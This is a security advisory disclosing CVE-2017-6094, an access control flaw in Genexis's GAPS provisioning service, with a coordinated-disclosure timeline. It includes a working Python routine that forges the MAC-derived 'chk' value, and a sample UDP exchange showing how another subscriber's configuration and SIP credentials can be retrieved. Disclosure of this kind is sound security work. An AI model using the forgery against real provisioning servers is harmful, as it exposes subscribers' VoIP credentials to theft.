################################################################################ # # # CVE-2017-6094 - Genexis GAPS Access Control Vulnerability # # # ################################################################################ # # # Product: Genexis Automatic Provisioning System (GAPS) # # Vendor: Genexis B.V. # # CVE ID: CVE-2017-6094 # # Subject: Access control vulnerability # # Effect: Leaked configuration settings, including user credentials # # Author: Antoine Neuenschwander <antoine@xxxxxxxxxxx> # # Date: 2017-12-18 # # # ################################################################################ Vendor/product description: ----------------------------- Genexis develops FTTH equipment for the optical distribution networks of ISPs including customer premises equipment (CPE) as well as infrastructure components, supporting triple-play services (broadband internet, IPTV and VoIP). The Genexis Automatic Provisioning System (GAPS) is the service used to monitor, configure and update the CPEs. URL: https://genexis.eu/product/gaps/ Introduction: ------------- Management of Genexis CPEs can be done using TR-069 or DHCP/TFTP in combination with UDP-based CPE commands. The CPE checks for most recent settings at startup and performs periodic update checks. GAPS provides the configuration settings for individual CPEs based on the device's MAC address. A configuration record includes the following settings (among other): - tftp server address, used to retrieve firmware images - ingress and egress bitrates, according to the user's subscription - sip server address, used to register to a VoIP service - sip client credentials, used to authenticate the VoIP client - ... Given the MAC address, it was found possible to retrieve the configuration settings of other subscribers' CPEs by sending forged UDP packets to GAPS. As a result, sensitive data such as the sip credentials are exposed. Affected: --------- This issue affects all versions up to 7.2. First mitigations available after version 6.1. Technical Description: ---------------------- A CPE identifies itself by the MAC address of its WAN interface and a certain "chk" value (48bit) derived from the MAC. The algorithm used to compute the "chk" was disclosed by reverse engineering the CPE's firmware (retrieved from the tftp server). It is possible to forge valid "chk" values for any given MAC address using the following python routine: def chk(mac): a = [int(x, 16) for x in mac.split(':', 6)] chk = [0] * 6 chk[5] = 1*a[0] + 3*a[1] + 7*a[2] + 115 & 0xff chk[3] = 7*a[1] + 1*a[2] + 3*a[3] + 101 & 0xff chk[0] = 3*a[2] + 7*a[3] + 1*a[4] + 99 & 0xff chk[4] = 1*a[3] + 3*a[4] + 7*a[5] + 114 & 0xff chk[1] = 3*a[0] + 7*a[4] + 1*a[5] + 101 & 0xff chk[2] = 7*a[0] + 1*a[1] + 3*a[5] + 116 & 0xff return ':'.join(['{:02x}'.format(x) for x in chk]) Example UDP message exchange (CPE <-> GAPS): -------------------------------------------- > mac=000f9461cafe > chk=90e97d8523ac > type=OCG1018MX > hw=0 > fw=OCG1018MX.v1.10.0.10c.bin > stage=0 < vlan_mmt=62241 < vlan_voice=58146 < vlan_p1=33572 < defpri=0000000000000000 < vlansp1=8324 < prip1=00 < userid0=<phonenr> < authid0=<userid> < passwd0=<password> < clip0=1 < clir0=0 < callwait0=0 < conference0=0 < clip1=0 < clir1=0 < callwait1=0 < conference1=0 < tftp_server=10.21.0.7 < tftp_server_port=69 < storecfg=0 < sip_server=<sip provider ip> < sip_server_port=5060 < ratecount=3 < reg_exp=4 < country=ch < send_dtmf=1 < sendflash=0 < dialplan=4|0[2-7]1[^]8|0[89]1[^]8|18[0-9]2|16[0-9]1|[^]+ < cliptype=1 < erate_p1=300 < versionOCG1018MX=OCG1018MX.v1.10.0.10c.bin < erate_wan=300 < irate=012c0000000000000000000000000000 < erate=012c0000000000000000000000000000 Workaround / Fix: ----------------- As of GAPS 6.2, GAPS provides a workaround to limit CPE requests. To further improve security, it is advised to use MACless provisioning with random postfix to harden the workaround. Starting with GAPS 7.3, the GAPS protocol will support a mechanism to prevent calculated checksums to be be valid. Timeline: --------- 2017-01-13: Found vulnerability 2017-01-16: Contacted ISP 2017-01-17: ISP confirms vulnerability and contacts vendor 2017-01-18: Vendor confirms vulnerability 2017-02-13: CVE-ID requested 2017-02-19: CVE-ID assigned 2017-05-19: Vendor agrees on disclosure date: 2017-07-03 2017-06-23: Vendor postpones disclosure date: 2017-09-01 2017-07-31: Vendor postpones disclosure date: 2017-12-18 2017-12-18: Coordinated disclosure
